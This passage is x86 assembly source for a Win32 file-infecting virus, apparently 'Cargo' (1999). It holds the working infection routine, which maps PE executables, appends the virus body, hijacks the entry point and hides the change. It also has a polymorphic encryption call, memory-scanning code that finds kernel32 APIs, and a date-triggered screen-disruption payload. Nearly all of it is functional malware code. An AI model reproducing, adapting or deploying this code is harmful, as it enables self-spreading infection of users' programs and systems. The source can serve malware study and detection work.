       pusha                         ;
       call InfectFile               ;
       popa                          ;
                                     ;
       IF DEBUG                      ;
       push eax                      ;
       lea ebx, [ebp+file]           ;
       push ebx                      ;
       call [ebp+_lstrcpy]           ;
       push 1000h                    ; AlwaysOnTop + Ok button
       lea eax, [ebp+windowtitle]    ;
       push eax                      ;
       lea eax, [ebp+windowmessage]  ;
       push eax                      ;
       push 0                        ;
       call [ebp+_MessageBoxA]       ; display message
       jmp over_processes            ;
       ENDIF                         ;
                                     ;
no_infection:                        ;
       pop eax                       ;
                                     ;
over_processes:                      ;
       popad                         ;
       ret                           ;
HandleClosedProcess endp             ;
VirusThread endp                     ;
resident endp                        ;
                                     ;
                                     ;;;;;;
InfectFile proc near                      ;
     pushad                               ;
                                          ;
       mov esi, eax                       ;
       mov [ebp+fileofs], eax             ; save file name offset
       push eax                           ; save it
       call [ebp+_GetFileAttributes]      ; Get the file attributes
       or eax, eax                        ;
       jz error1                          ;
       mov [ebp+fileattributes], eax      ; save them
                                          ;
error1:                                   ;
       push 80h                           ;
       push esi                           ;
       call [ebp+_SetFileAttributes]      ; set them as normal
                                          ;
       push 0                             ; and open the file
       push 0                             ;
       push 3                             ;
       push 0                             ;
       push 1                             ;
       push 80000000h or 40000000h        ;
       push esi                           ;
       call [ebp+_CreateFileA]            ;
                                          ;
       cmp eax, -1                        ; error?
       je file_error                      ;
                                          ;
       mov [ebp+handle1], eax             ; save it's handle
                                          ;
       lea ebx, [ebp+offset filetime]     ; now save the file time
       push ebx                           ;
       add ebx, 8                         ;
       push ebx                           ;
       add ebx, 8                         ;
       push ebx                           ;
       push eax                           ;
       call [ebp+_GetFileTime]            ;
                                          ;
       push 0                             ; get file size
       mov eax, [ebp+handle1]             ;
       push eax                           ;
       call [ebp+_GetFileSize]            ;
                                          ;
       mov [ebp+filesize], eax            ; save the filesize and calculate
       add eax, virussize+500h            ; ammount of memory needed
                                          ;
       push 0                             ; and create a file mapping
       push eax                           ;
       push 0                             ;
       push 4                             ;
       push 0                             ;
       mov eax, [ebp+handle1]             ;
       push eax                           ;
       call [ebp+_CreateFileMappingA]     ;
                                          ;
       cmp eax, 0                         ;
       je close_file                      ;
                                          ;
       mov [ebp+maphandle], eax           ; save map handle
                                          ;
       mov eax, [ebp+filesize]            ;
       add eax, virussize+500h            ;
       push eax                           ; map the file!!
       push 0                             ;
       push 0                             ;
       push 2                             ;
       mov eax, [ebp+maphandle]           ;
       push eax;                          ;
       call [ebp+_MapViewOfFile]          ;
                                          ;
       cmp eax, 0                         ;
       je close_map                       ;
                                          ;
       mov esi, eax                       ;
       mov [ebp+mapaddress], esi          ; save map address
                                          ;
       cmp word ptr [esi], 'ZM'           ; is it a MZ EXE file?
       jne unmap_view                     ;
       mov esi, dword ptr [esi.MZ_lfanew] ; get PE header offset
       cmp esi, 1000h                     ; too far?
       ja unmap_view                      ;
       add esi, [ebp+mapaddress]          ; save map address
       cmp word ptr [esi], 'EP'           ; is it a PE file?
       jne unmap_view                     ;
                                          ;
       mov dword ptr [ebp+PEheader], esi  ; save PE header place
       add esi, IMAGE_FILE_HEADER_SIZE    ; go to Optional header
                                          ;
       cmp word ptr [esi.OH_Win32VersionValue], 'CG' ; already infected?
       je unmap_view                      ;
                                          ;

     mov eax, dword ptr [esi.OH_FileAlignment]      ; save all the needed
     mov dword ptr [ebp+filealign], eax             ; values
     mov eax, dword ptr [esi.OH_SectionAlignment]   ;
     mov dword ptr [ebp+sectionalign], eax          ;
     mov eax, dword ptr [esi.OH_AddressOfEntryPoint];
     mov dword ptr [ebp+oldeip], eax                ;
     mov eax, dword ptr [esi.OH_ImageBase]          ;
     mov dword ptr [ebp+newimagebase], eax          ;
                                                    ;
     mov word ptr [esi.OH_Win32VersionValue], 'CG'  ; mark infection
                                                    ;
     mov ebx, dword ptr [esi.OH_NumberOfRvaAndSizes]; let us locate the
     shl ebx, 3                                     ; last section
     xor eax, eax                                   ;
     mov ax, word ptr [esi.NumberOfSections-IMAGE_FILE_HEADER_SIZE]
     dec eax                                        ;
     mov ecx, IMAGE_SECTION_HEADER_SIZE             ;
     mul ecx                                        ;
                                                    ;
     mov esi, dword ptr [ebp+PEheader]              ; PE header offset +
     add esi, IMAGE_FILE_HEADER_SIZE                ; header length +
     add esi, 60h                                   ; optional header len +
     add esi, ebx                                   ; + data directory
     add esi, eax                                   ; + all sections
                                                    ;
     mov [ebp+lastsection], esi                     ; save last section addr
     mov edi, dword ptr [esi.SH_PointerToRawData]   ; get pointer to raw data
     add edi, dword ptr [ebp+mapaddress]            ; and align it to memory
     add edi, dword ptr [esi.SH_VirtualSize]        ; and then add virtual
     mov [ebp+smth], edi                            ; size and save the value
                                                    ;
     pushad                                         ; let us copy our virus
     lea esi, dword ptr [ebp+start]                 ; there...
     mov ecx, virussize                             ;
     rep movsb                                      ;
     popad                                          ;
                                                    ;
     add dword ptr [esi.SH_VirtualSize], virussize  ; increase the sizes
     add dword ptr [esi.SH_SizeOfRawData], virussize; (virtual and physical)
     or dword ptr [esi.SH_Characteristics], 0C0000040h; make section R/W
                                                    ;
     mov eax, [esi.SH_SizeOfRawData]                ; align SizeOfRawData
     mov ecx, dword ptr [ebp+filealign]             ; to the file
     push eax                                       ; alignment
     push ecx                                       ;
     xor edx, edx                                   ;
     div ecx                                        ;
     pop ecx                                        ;
     sub ecx, edx                                   ;
     pop eax                                        ;
     add eax, ecx                                   ;
     mov dword ptr [esi.SH_SizeOfRawData], eax      ; and store it
                                                    ;
     mov esi, dword ptr [ebp+PEheader]              ;
                                                    ;
     mov eax, dword ptr [esi+50h]                   ; Get OldSizeOfImage
     add eax, virussize                             ; increase it and then
     mov ecx, dword ptr [ebp+sectionalign]          ; align it to the section
     push eax                                       ; alignment
     push ecx                                       ;
     xor edx, edx                                   ;
     div ecx                                        ;
     pop ecx                                        ;
     sub ecx, edx                                   ;
     pop eax                                        ;
     add eax, ecx                                   ;
     mov dword ptr [esi+50h], eax                   ;
                                                    ;
     mov edi, [ebp+lastsection]                     ; point last section
                                                    ;
     mov eax, [edi.SH_PointerToRawData]             ; Pointer to raw data
     add eax, [edi.SH_VirtualSize]                  ; plus last section size
     mov [ebp+filesize], eax                        ; is the filesize. Align
     mov ecx, dword ptr [ebp+filealign]             ; it to the file
     push eax                                       ; alignment
     push ecx                                       ;
     xor edx, edx                                   ;
     div ecx                                        ;
     pop ecx                                        ;
     sub ecx, edx                                   ;
     pop eax                                        ;
     add eax, ecx                                   ;
     mov dword ptr [ebp+filesize], eax              ; and store it
                                                    ;
     mov eax, [edi.SH_VirtualAddress]               ; let us locate the new
     add eax, [edi.SH_VirtualSize]                  ; EIP...
     sub eax, virussize                             ;
     mov dword ptr [esi+28h], eax                   ; ...and store it!!

; we finished infecting the file. Now let us prepare to call the poly
; engine:

     mov ebx, eax                                ; EBX = code to decrypt at
     add ebx, [ebp+imagebase]                    ;       runtime
     add ebx, offset start_of_code-offset start  ;       (adjustment)
     mov esi, dword ptr [ebp+smth]               ; ESI = code to encrypt in
     add esi, offset start_of_code-offset start  ;       memory
     mov edi, esi                                ; EDI = where to place the
     add edi, offset decrypt-offset start_of_code;       decryptor
     mov ecx, end_of_code-start_of_code          ; ECX = size of code to crypt
     shr ecx, 2                                  ; be sure is divisible by
     shl ecx, 2                                  ; 4
                                                 ;
     Call MOF32                                  ; Call MOF32
                                                 ;
     mov edi, [ebp+the_end]                      ; go to the end
     sub esi, edi                                ; and store a JMP there...
     mov al, 0E9h                                ;
     stosb                                       ;
     mov eax, esi                                ; a jmp to the beginning of
     sub eax, 3                                  ; the real code
     stosd                                       ;
                                                 ;
     mov ecx, dword ptr [ebp+offset filesize]    ; put zeroes until the end
     add ecx, [ebp+mapaddress]                   ; of file so no mess is
     sub ecx, edi                                ; found there (the mess
     mov edi, [ebp+end_end]                      ;
     mov al, 0                                   ; which remains is because
     rep stosb                                   ; of the alignment)
     popad                                       ; restore registers
                                                 ;
     mov edi, dword ptr [ebp+smth]               ; mutate initial jump
     add edi, offset jump_code-offset start      ;
     mov eax, dword ptr [ebp+first_intend]       ; with the first intend
     add dword ptr [edi+1], eax                  ;

unmap_view:                               ;
       mov eax, [ebp+mapaddress]          ;
       push eax                           ; unmap the view
       call [ebp+_UnmapViewOfFile]        ;
                                          ;
close_map:                                ;
        mov eax, [ebp+maphandle]          ;
        push eax                          ; close the map
        call [ebp+_CloseHandle]           ;
                                          ;
close_file:                               ;
       push 0                             ; first we must set the file
       push 0                             ; pointer at the end of file
       push dword ptr [ebp+offset filesize];
       push dword ptr [ebp+offset handle1];
       call [ebp+_SetFilePointer]         ;
                                          ;
       push dword ptr [ebp+offset handle1]; ...and then mark the end of
       call [ebp+_SetEndOfFile]           ; file...
                                          ;
       lea ebx, [ebp+offset filetime]     ; restore the file time
       push ebx                           ;
       add ebx, 8                         ;
       push ebx                           ;
       add ebx, 8                         ;
       push ebx                           ;
       push dword ptr [ebp+offset handle1];
       call dword ptr [ebp+_SetFileTime]  ;
                                          ;
       mov eax, [ebp+handle1]             ;
       push eax                           ; close the file...
       call [ebp+_CloseHandle]            ;
                                          ;
       push dword ptr [ebp+offset fileattributes] ; restore the file attribs
       push dword ptr [ebp+offset fileofs];
       call [ebp+_SetFileAttributes]      ;
                                          ;
file_error:                               ;
     ret                                  ;
InfectFile endp                           ;

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北
; Locate Kernel32 base address
;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北
;
; Entry:  EAX = dword on stack at startup
;         EDX = pointer to kernel32 name
;
; Return: EAX = base address of kernel32 if success
;         EAX = 0, CF set if fail

LocateKernel32 proc near
       pushad                                      ; save all registers
       lea ebx, dword ptr [ebp+try_method_2_error] ; first set up a seh
       push ebx                                    ; frame so that if our
       push dword ptr fs:[0]                       ; first method crashes
       mov fs:[0], esp                             ; we will find ourselves
                                                   ; in the second method
locateloop:                                        ;
       cmp dword ptr [eax+0b4h], eax               ; first method looks for
       je found_k32_kill_seh                       ; the k32 by checking for
       dec eax                                     ; the equal dword at 0b4
       cmp eax, 40000000h                          ;
       jbe try_method_2                            ;
       jmp locateloop                              ;
                                                   ;
found_k32_kill_seh:                                ; if we found it, then we
       pop dword ptr fs:[0]                        ; must destroy the temp
       add esp, 4                                  ; seh frame
       mov dr0, eax                                ; save k32 base in DR0
       jmp found_k32                               ;
                                                   ;
try_method_2_error:                                ; if the first method gave
        mov esp, [esp+8]                           ; and exception error we
                                                   ; must restore the stack
try_method_2:                                      ;
       pop dword ptr fs:[0]                        ; restore the seh state
       add esp, 4                                  ;
       popad                                       ; restore registers and
       pushad                                      ; save them again
                                                   ; and go on w/ method two
       mov ebx, dword ptr [ebp+imagebase]          ; now put imagebase in ebx
       mov esi, ebx                                ;
       cmp word ptr [esi], 'ZM'                    ; check if it is an EXE
       jne notfound_k32                            ;
       mov esi, dword ptr [esi.MZ_lfanew]          ; get pointer to PE
       cmp esi, 1000h                              ; too far away?
       jae notfound_k32                            ;
       add esi, ebx                                ;
       cmp word ptr [esi], 'EP'                    ; is it a PE?
       jne notfound_k32                            ;
       add esi, IMAGE_FILE_HEADER_SIZE             ; skip header
       mov edi, dword ptr [esi.OH_DataDirectory.DE_Import.DD_VirtualAddress]
       add edi, ebx                                ; and get import RVA
       mov ecx, dword ptr [esi.OH_DataDirectory.DE_Import.DD_Size]
       add ecx, edi                                ; and import size
       mov eax, edi                                ; save RVA
                                                   ;
locateloop2:                                       ;
       mov edi, dword ptr [edi.ID_Name]            ; get the name
       add edi, ebx                                ;
       cmp dword ptr [edi], 'NREK'                 ; and compare to KERN
       je found_the_kernel_import                  ; if it is not that one
       add eax, IMAGE_IMPORT_DESCRIPTOR_SIZE       ; skip to the next desc.
       mov edi, eax                                ;
       cmp edi, ecx                                ; but not beyond the size
       jae notfound_k32                            ; of the descriptor
       jmp locateloop2                             ;
                                                   ;
found_the_kernel_import:                           ; if we found the kernel
       mov edi, eax                                ; import descriptor
       mov esi, dword ptr [edi.ID_FirstThunk]      ; take the pointer to
       add esi, ebx                                ; addresses
       mov edi, dword ptr [edi.ID_Characteristics] ; and the pointer to
       add edi, ebx                                ; names
                                                   ;
gha_locate_loop:                                   ;
       push edi                                    ; save pointer to names
       mov edi, dword ptr [edi.TD_AddressOfData]   ; go to the actual thunk
       add edi, ebx                                ;
       add edi, 2                                  ; and skip the hint
                                                   ;
       push edi esi                                ; save these
       lea esi, dword ptr [ebp+getmodulehandle]    ; and point the name of
       mov ecx, getmodulehandlelen                 ; GetModuleHandleA
       rep cmpsb                                   ; see if it is that one
       je found_getmodulehandle                    ; if so...
       pop esi edi                                 ; otherwise restore
                                                   ;
       pop edi                                     ; restore arrays indexes
       add edi, 4                                  ; and skip to next
       add esi, 4                                  ;
       cmp dword ptr [esi], 0                      ; 0? -> end of import
       je notfound_k32                             ;
       jmp gha_locate_loop                         ;
                                                   ;
found_getmodulehandle:                             ;
       pop esi                                     ; restore stack
       pop edi                                     ;
       pop edi                                     ;
                                                   ;
       push edx                                    ; push kernel32 name
       mov esi, [esi]                              ; esi = GetModuleHandleA
       call esi                                    ; address...
       mov dr0, eax                                ; DR0 holds k32 base!!
       or eax, eax                                 ;
       jz notfound_k32                             ;
                                                   ;
found_k32:                                         ;
       popad                                       ; restore all regs and
       mov eax, dr0                                ; put k32 in EAX
       clc                                         ; and mark success
       ret                                         ;
                                                   ;
notfound_k32:                                      ;
       popad                                       ; restore all regs
       xor eax, eax                                ; and mark the failure...
       stc                                         ;
       ret                                         ;
LocateKernel32 endp                                ;

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北
; Locate GetProcAddress
;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北
;
; Entry:  EAX = base of kernel32
;         EDX = pointer to GetProcAddress name
;
; Return: EAX = address of GetProcAddress if success
;         EAX = 0, CF set if fail

LocateGetProcAddress proc near                     ;
       pushad                                      ;
       mov ebx, eax                                ; save the kernel base
       mov edi, eax                                ;
       cmp word ptr [edi], 'ZM'                    ; is it an exe?
       jne notfoundgpa                             ;
                                                   ;
       mov edi, dword ptr [edi.MZ_lfanew]          ;
       cmp edi, 1000h                              ;
       jae notfoundgpa                             ;
                                                   ;
       add edi, ebx                                ;
       cmp word ptr [edi], 'EP'                    ; is it a PE?
       jne notfoundgpa                             ;
                                                   ;
       add edi, IMAGE_FILE_HEADER_SIZE             ; skip file header
                                                   ;
       mov edi, dword ptr [edi.OH_DataDirectory.DE_Export.DD_VirtualAddress]
       add edi, ebx                                ; and get export RVA
                                                   ;
       mov ecx, dword ptr [edi.ED_NumberOfNames]   ; save number of names
                                                   ; to look into
       mov esi, dword ptr [edi.ED_AddressOfNames]  ; get address of names
       add esi, ebx                                ; align to base rva
                                                   ;
       push edi                                    ; save pointer to export
                                                   ;
gpa_locate_loop:                                   ;
       mov edi, [esi]                              ; get one name address
       add edi, ebx                                ; and align it
                                                   ;
       push ecx esi                                ; save counter and addr.
                                                   ;
       mov esi, edx                                ; compare to GetProcAddress
       mov ecx, getprocaddresslen                  ;
       rep cmpsb                                   ;
       je foundgpa                                 ;
                                                   ;
       pop esi ecx                                 ; restore them
                                                   ;
       add esi, 4                                  ; and get next name
       loop gpa_locate_loop                        ;
                                                   ;
notfoundgpa:                                       ; we didn't find it...
       pop edi                                     ;
       popad                                       ;
       xor eax, eax                                ; mark failure
       stc                                         ;
       ret                                         ;
                                                   ;
foundgpa:                                          ;
       pop esi ecx                                 ; ecx = how many did we
       pop edi                                     ; check from total, but
       sub ecx, dword ptr [edi.ED_NumberOfNames]   ; we need the reminder
       neg ecx                                     ; of the search
       mov eax, dword ptr [edi.ED_AddressOfOrdinals]; get address of ordinals
       add eax, ebx                                ;
       shl ecx, 1                                  ; and look using the index
       add eax, ecx                                ;
       xor ecx, ecx                                ;
       mov cx, word ptr [eax]                      ; take the ordinal
       mov eax, dword ptr [edi.ED_AddressOfFunctions]; take address of funcs.
       add eax, ebx                                ;
       shl ecx, 2                                  ; we look in a dword array
       add eax, ecx                                ; go to the function addr
       mov eax, [eax]                              ; take it's address
       add eax, ebx                                ; and align it to k32 base
       mov dr0, eax                                ; save it in dr0
       popad                                       ; restore all regs
       mov eax, dr0                                ; and mark success
       clc                                         ;
       ret                                         ;
LocateGetProcAddress endp                          ;

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北
; General module retriving routine
;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北
;
; Entry:  EDI = pointer to module name
;
; Return: EAX = module base address if success
;         EAX = 0, CF set if fail

LocateModuleBase proc near                         ;
       pushad                                      ; save regs
       push edi                                    ; push name
       call dword ptr [ebp+_GetModuleHandleA]      ; call GetModuleHandleA
       mov dr0, eax                                ;
       popad                                       ;
       mov eax, dr0                                ;
       or eax, eax                                 ;
       jz notfoundmodule                           ;
       clc                                         ; success
       ret                                         ;
                                                   ;
notfoundmodule:                                    ;
       stc                                         ; fail
       ret                                         ;
LocateModuleBase endp                              ;

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北
; General API address retriving routine
;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北
;
; Entry:  EAX = base address of the module
;         EBX = address of GetProcAddress
;         EDI = pointer to api names list (each item null terminated,
;                                          list terminated with 0FFh)
;         ESI = pointer to api addresses list
;
; Return: CF clear if success and list at ESI filled with API addresses
;         CF set if fail

LocateApiAddresses proc near                       ;
       pushad                                      ; save all regs
       mov edx, eax                                ; save module base
locate_apis_loop:                                  ;
       cmp byte ptr [edi], 0FFh                    ; is it the end?
       je ready_apis                               ;
                                                   ;
       push edx                                    ; save base
       push edi                                    ; push api name
       push edx                                    ; push module base
       call ebx                                    ; call GetProcAddress
       pop edx                                     ; restore module base
       or eax, eax                                 ; error?
       je error_finding_apis                       ;
                                                   ;
       mov dword ptr [esi], eax                    ; save api address
                                                   ;
       mov ecx, 100h                               ; look for the next
       mov al, 0                                   ; api name
       repnz scasb                                 ;
                                                   ;
       add esi, 4                                  ; increment array
       jmp locate_apis_loop                        ;
                                                   ;
ready_apis:                                        ;
       popad                                       ; all ok!
       clc                                         ;
       ret                                         ;
                                                   ;
error_finding_apis:                                ;
       popad                                       ; error here...
       stc                                         ;
       ret                                         ;
LocateApiAddresses endp                            ;

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北
; Here we return to the host process or exit if first generation
;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

exit proc near                                     ;
       jmp restore_seh                             ;
                                                   ;
ExceptionExit:                                     ; if we had an error we
       mov esp, [esp+8]                            ; must restore the ESP
                                                   ;
restore_seh:                                       ;
       pop dword ptr fs:[0]                        ; and restore the SEH
       add esp, 4                                  ; returning to the host...
                                                   ;
       or ebp, ebp                                 ; is it generation 0?
       je generation0_exit                         ;
                                                   ;
       popad                                       ;
                                                   ;
       push edi                                    ; temporary save edi
       db 0bfh                                     ; put delta in edi
delta  dd 0                                        ;
                                                   ;
       cmp edi, 0                                  ; first generation ?
       je generation0_exit                         ;
       mov eax, [edi+offset oldeip]                ; restore old EIP
       add eax, [edi+offset imagebase]             ; align to memory
       push eax                                    ;
       push ebx                                    ;
       lea ebx, [edi+offset jump]                  ; calculate the length of
       sub eax, ebx                                ; the jump to the host
       sub eax, 4                                  ;
       mov dword ptr [edi+jump], eax               ; and store the jump!
       pop ebx                                     ; restore the last regs...
       pop eax                                     ;
       pop edi                                     ;
                                                   ;
       db 0e9h                                     ; this is JMP Original EIP
jump   dd 0                                        ;
                                                   ;
generation0_exit:                                  ; exit from generation 0
       popad                                       ;
       push 0                                      ;
       call ExitProcess                            ;
exit endp                                          ;

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北
; The payload
;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

payload proc near                        ;
       pusha                             ; Get time
       lea eax, [ebp+systemtime]         ;
       push eax                          ;
       call [ebp+_GetSystemTime]         ;
                                         ;
       lea esi, [ebp+systemtime]         ;
       cmp [esi.ST_wDay], 7              ; is it 7th?
       jne no_payload                    ;
       cmp [esi.ST_wHour], 14d           ; is it after 2PM?
       jb no_payload                     ;
                                         ;
       push 16                           ; get screen width
       call [ebp+_GetSystemMetrics]      ;
       mov [ebp+xmax], eax               ;
       push 17                           ; get screen height
       call [ebp+_GetSystemMetrics]      ;
       mov [ebp+ymax], eax               ;
                                         ;
       push 0                            ; get device context handle
       call [ebp+_GetDC]                 ;
       mov [ebp+dchandle], eax           ;
                                         ;
       push 00CC0020h                    ; make a small shrinked copy of
       push [ebp+xmax]                   ; the desktop area in the upper
       push [ebp+ymax]                   ; left corner.
       push 0                            ;
       push 0                            ;
       push [ebp+dchandle]               ;
       push 100h                         ;
       push 100h                         ;
       push 0                            ;
       push 0                            ;
       push [ebp+dchandle]               ;
       call [ebp+_StretchBlt]            ;
                                         ;
rep_move:                                ; and now display continously
       mov eax, [ebp+xmax]               ; in random places the small copy
       call brandom32                    ; of the desktop
       mov [ebp+x], eax                  ;
       mov eax, [ebp+ymax]               ;
       call brandom32                    ;
       mov [ebp+y], eax                  ;
                                         ;
       push  00CC0020h                   ; Flag to obtain the copy
       push  0                           ; X value for source rectangle
       push  0                           ; Y value for source rectangle
       push  [ebp+dchandle]              ; Device context for the rectangle to move
       push  100h                        ; rectangle width
       push  100h                        ; rectangle height
       push  [ebp+x]                     ; X value for the destination rectangle
       push  [ebp+y]                     ; Y value for the destination rectangle
       push  [ebp+dchandle]              ; Device context for the destination area
       Call  [ebp+_BitBlt]               ;
                                         ;
       push 01bh                         ; exit if ESC is pressed
       call [ebp+_GetAsyncKeyState]      ;
       or eax, eax                       ;
       jz rep_move                       ;
                                         ;
       push 1000h                        ; and display a message box.
       lea eax, [ebp+payloadtitle]       ;
       push eax                          ;
       lea eax, [ebp+payloadtext]        ;
       push eax                          ;
       push 0                            ;
       call [ebp+_MessageBoxA]           ;
       jmp no_payload                    ;
                                         ;
dchandle dd 0                            ;
x dd 0                                   ;
y dd 0                                   ;
xmax dd 0                                ;
ymax dd 0                                ;
payloadtitle db "Cargo (C) 1999 Lord Julus",0
payloadtext  db 13,10, "                Is this fun, or what?               ",13,10,13,10
             db        "                Heavy Metal rules!!                 ",13,10,13,10, 0
                                                   ;
                                                   ;
                                                   ;
no_payload:                                        ;
       popa                                        ;
       ret                                         ;
payload endp                                       ;

;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北
; Equates, structures, data
;北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北北

IMAGE_DOS_HEADER STRUC           ; DOS .EXE header
MZ_magic         DW ?            ; Magic number
MZ_cblp          DW ?            ; Bytes on last page of file
MZ_cp            DW ?            ; Pages in file
MZ_crlc          DW ?            ; Relocations
MZ_cparhdr       DW ?            ; Size` of header in paragraphs
MZ_minalloc      DW ?            ; Minimum extra paragraphs needed
MZ_maxalloc      DW ?            ; Maximum extra paragraphs needed
MZ_ss            DW ?            ; Initial (relative) SS value
MZ_sp            DW ?            ; Initial SP value
MZ_csum          DW ?            ; Checksum
MZ_ip            DW ?            ; Initial IP value
MZ_cs            DW ?            ; Initial (relative) CS value
MZ_lfarlc        DW ?            ; File address of relocation table
MZ_ovno          DW ?            ; Overlay number
MZ_res           DW 4 DUP(?)     ; Reserved words
MZ_oemid         DW ?            ; OEM identifier (for MZ_oeminfo)
MZ_oeminfo       DW ?            ; OEM information; MZ_oemid specific
MZ_res2          DW 10 DUP(?)    ; Reserved words
MZ_lfanew        DD ?            ; File address of new exe header
IMAGE_DOS_HEADER ENDS            ;
IMAGE_DOS_HEADER_SIZE = SIZE IMAGE_DOS_HEADER
                                 ;
IMAGE_FILE_HEADER STRUC          ; Portable Exe File
PE_Magic                 DD ?    ;
Machine                  DW ?    ; Machine type
NumberOfSections         DW ?    ; Number of sections
TimeDateStamp            DD ?    ; Date and Time
PointerToSymbolTable     DD ?    ; Pointer to Symbols
NumberOfSymbols          DD ?    ; Number of Symbols
SizeOfOptionalHeader     DW ?    ; Size of Optional Header
Characteristics          DW ?    ; File characteristics
IMAGE_FILE_HEADER ENDS           ;
IMAGE_FILE_HEADER_SIZE = SIZE IMAGE_FILE_HEADER
                                 ;
IMAGE_DATA_DIRECTORY STRUC       ; Image data directory
DD_VirtualAddress    DD ?        ; Virtual address
DD_Size              DD ?        ; Virtual size
IMAGE_DATA_DIRECTORY ENDS        ;;;;;;;;;
                                         ;
IMAGE_DIRECTORY_ENTRIES STRUC            ; All directories
DE_Export       IMAGE_DATA_DIRECTORY  ?  ;
DE_Import       IMAGE_DATA_DIRECTORY  ?  ;
DE_Resource     IMAGE_DATA_DIRECTORY  ?  ;
DE_Exception    IMAGE_DATA_DIRECTORY  ?  ;
DE_Security     IMAGE_DATA_DIRECTORY  ?  ;
DE_BaseReloc    IMAGE_DATA_DIRECTORY  ?  ;
DE_Debug        IMAGE_DATA_DIRECTORY  ?  ;
DE_Copyright    IMAGE_DATA_DIRECTORY  ?  ;
DE_GlobalPtr    IMAGE_DATA_DIRECTORY  ?  ;
DE_TLS          IMAGE_DATA_DIRECTORY  ?  ;
DE_LoadConfig   IMAGE_DATA_DIRECTORY  ?  ;
DE_BoundImport  IMAGE_DATA_DIRECTORY  ?  ;
DE_IAT          IMAGE_DATA_DIRECTORY  ?  ;
IMAGE_DIRECTORY_ENTRIES ENDS             ;
IMAGE_NUMBEROF_DIRECTORY_ENTRIES = 16    ;
                                         ;;;;;;;;;;;
IMAGE_OPTIONAL_HEADER STRUC                        ; Optional Header
OH_Magic                        DW ?           ; Magic word
OH_MajorLinkerVersion           DB ?           ; Major Linker version
OH_MinorLinkerVersion           DB ?           ; Minor Linker version
OH_SizeOfCode                   DD ?           ; Size of code section
OH_SizeOfInitializedData        DD ?           ; Initialized Data
OH_SizeOfUninitializedData      DD ?           ; Uninitialized Data
OH_AddressOfEntryPoint          DD BYTE PTR ?  ; Initial EIP
OH_BaseOfCode                   DD BYTE PTR ?  ; Code Virtual Address
OH_BaseOfData                   DD BYTE PTR ?  ; Data Virtual Address
OH_ImageBase                    DD BYTE PTR ?  ; Base of image
OH_SectionAlignment             DD ?           ; Section Alignment
OH_FileAlignment                DD ?           ; File Alignment
OH_MajorOperatingSystemVersion  DW ?           ; Major OS
OH_MinorOperatingSystemVersion  DW ?           ; Minor OS
OH_MajorImageVersion            DW ?           ; Major Image version
OH_MinorImageVersion            DW ?           ; Minor Image version
OH_MajorSubsystemVersion        DW ?           ; Major Subsys version
OH_MinorSubsystemVersion        DW ?           ; Minor Subsys version
OH_Win32VersionValue            DD ?           ; win32 version
OH_SizeOfImage                  DD ?           ; Size of image
OH_SizeOfHeaders                DD ?           ; Size of Header
OH_CheckSum                     DD ?           ; unused
OH_Subsystem                    DW ?           ; Subsystem
OH_DllCharacteristics           DW ?           ; DLL characteristic
OH_SizeOfStackReserve           DD ?           ; Stack reserve
OH_SizeOfStackCommit            DD ?           ; Stack commit
OH_SizeOfHeapReserve            DD ?           ; Heap reserve
OH_SizeOfHeapCommit             DD ?           ; Heap commit
OH_LoaderFlags                  DD ?           ; Loader flags
OH_NumberOfRvaAndSizes          DD ?           ; Number of directories
                                UNION          ; directory entries
OH_DataDirectory                IMAGE_DATA_DIRECTORY\
                                IMAGE_NUMBEROF_DIRECTORY_ENTRIES DUP (?)
OH_DirectoryEntries             IMAGE_DIRECTORY_ENTRIES ?
                                ENDS           ;
IMAGE_OPTIONAL_HEADER ENDS                     ;
IMAGE_OPTIONAL_HEADER_SIZE = SIZE IMAGE_OPTIONAL_HEADER
                                               ;
IMAGE_SECTION_HEADER STRUC                     ; Section hdr.
SH_Name                 DB 8 DUP(?)            ; name
                        UNION                  ;
SH_PhysicalAddress      DD BYTE PTR ?          ; Physical address
SH_VirtualSize          DD ?                   ; Virtual size
                        ENDS                   ;
SH_VirtualAddress       DD BYTE PTR ?          ; Virtual address
SH_SizeOfRawData        DD ?                   ; Raw data size
SH_PointerToRawData     DD BYTE PTR ?          ; pointer to raw data
SH_PointerToRelocations DD BYTE PTR ?          ; ...
SH_PointerToLinenumbers DD BYTE PTR ?          ; ...... not really used
SH_NumberOfRelocations  DW ?                   ; ....
SH_NumberOfLinenumbers  DW ?                   ; ..
SH_Characteristics      DD ?                   ; flags
IMAGE_SECTION_HEADER ENDS                      ;
IMAGE_SECTION_HEADER_SIZE = SIZE IMAGE_SECTION_HEADER
                                            ;
IMAGE_IMPORT_BY_NAME STRUC                  ; Import by name data type
IBN_Hint DW 0                               ; Hint entry
IBN_Name DB 1 DUP (?)                       ; name
IMAGE_IMPORT_BY_NAME ENDS                   ;
                                            ;
IMAGE_THUNK_DATA STRUC                      ; Thunk data
                    UNION                   ;
TD_AddressOfData    DD IMAGE_IMPORT_BY_NAME PTR ? ; Ptr to IMAGE_IMPORT_BY_NAME structure
TD_Ordinal          DD ?                    ; Ordinal ORed with IMAGE_ORDINAL_FLAG
TD_Function         DD BYTE PTR ?           ; Ptr to function (i.e. Function address after program load)
TD_ForwarderString  DD BYTE PTR ?           ; Ptr to a forwarded API function.
                    ENDS                    ;
IMAGE_THUNK_DATA ENDS               ;;;;;;;;;
                                    ;
IMAGE_IMPORT_DESCRIPTOR STRUC       ; Import descryptor
                      UNION         ;
ID_Characteristics    DD ?          ; 0 for last null import descriptor
ID_OriginalFirstThunk DD IMAGE_THUNK_DATA PTR ? ; RVA to original unbound IAT
                      ENDS          ;
ID_TimeDateStamp      DD ?          ;
ID_ForwarderChain     DD ?          ; -1 if no forwarders
ID_Name               DD BYTE PTR ? ; RVA to name of imported DLL
